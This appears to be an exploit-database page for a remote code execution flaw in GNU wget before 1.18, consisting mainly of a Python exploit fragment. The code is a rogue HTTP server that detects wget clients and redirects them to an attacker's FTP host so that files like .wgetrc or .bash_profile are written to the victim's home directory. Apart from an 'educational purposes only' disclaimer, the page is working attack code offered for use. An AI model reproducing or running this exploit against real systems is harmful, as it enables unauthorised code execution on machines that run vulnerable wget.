Exploits / Vulnerability Discovered : 2021-04-30 |
Type : remote |
Platform : linux
This exploit / vulnerability Gnu wget < 1.18 arbitrary file upload / remote code execution (2) is for educational purposes only and if it is used you will do on your own risk!
class wgetExploit(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc/.bash_profile/$file
print("We have a volunteer requesting " + self.path + " by GET :)\n")
if "Wget" not in self.headers.get('User-Agent'):
print("But it's not a Wget :( \n")
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
self.send_response(301)
print("Uploading " + str(FILE) + "via ftp redirect vuln. It should land in /home/ \n")
new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)
print("Sending redirect to %s \n"%(new_path))
self.send_header('Location', new_path)
self.end_headers()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print("FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT))
else:
print("FTP is down :( Exiting.")
exit(1)
print("Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT)